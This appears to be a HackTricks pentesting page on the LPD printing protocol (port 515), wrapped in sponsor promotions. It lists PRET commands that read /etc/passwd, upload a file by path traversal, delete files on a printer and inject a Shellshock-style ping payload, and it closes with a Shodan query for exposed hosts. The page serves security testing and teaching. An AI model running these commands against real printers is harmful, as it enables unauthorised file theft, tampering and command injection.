58 lines
3.5 KiB
Markdown
58 lines
3.5 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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The Line Printer Daemon (LPD) protocol had originally been introduced in Berkeley Unix in the 80s (later specified by RFC1179).\
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The daemon runs on port 515/tcp and can be accessed using the `lpr`command. To print, the client sends a **control file** defining job/username and a **data file** containing the actual data to be printed. The **input type** of the data file can be set in the control file by choosing among **various file formats**. However it is up to the LPD implementation how to actually handle the print data. A popular LPD implementation for Unix-like operating system is LPRng. LPD can be used as a carrier to deploy **malicious PostScript** or **PJL print jobs**.
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The `lpdprint` and `lpdtest` tools are included in [**PRET**](https://github.com/RUB-NDS/PRET)**.** They are a minimalist way to print data directly to an LPD capable printer or download/upload/delete files and more:
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```
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lpdprint.py hostname filename
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lpdtest.py hostname get /etc/passwd
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lpdtest.py hostname put ../../etc/passwd
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lpdtest.py hostname rm /some/file/on/printer
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lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
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lpdtest.py hostname mail lpdtest@mailhost.local
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```
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If you want to learn more about [**hacking printers read this page**](pentesting-printers/).
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# Shodan
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* `port 515`
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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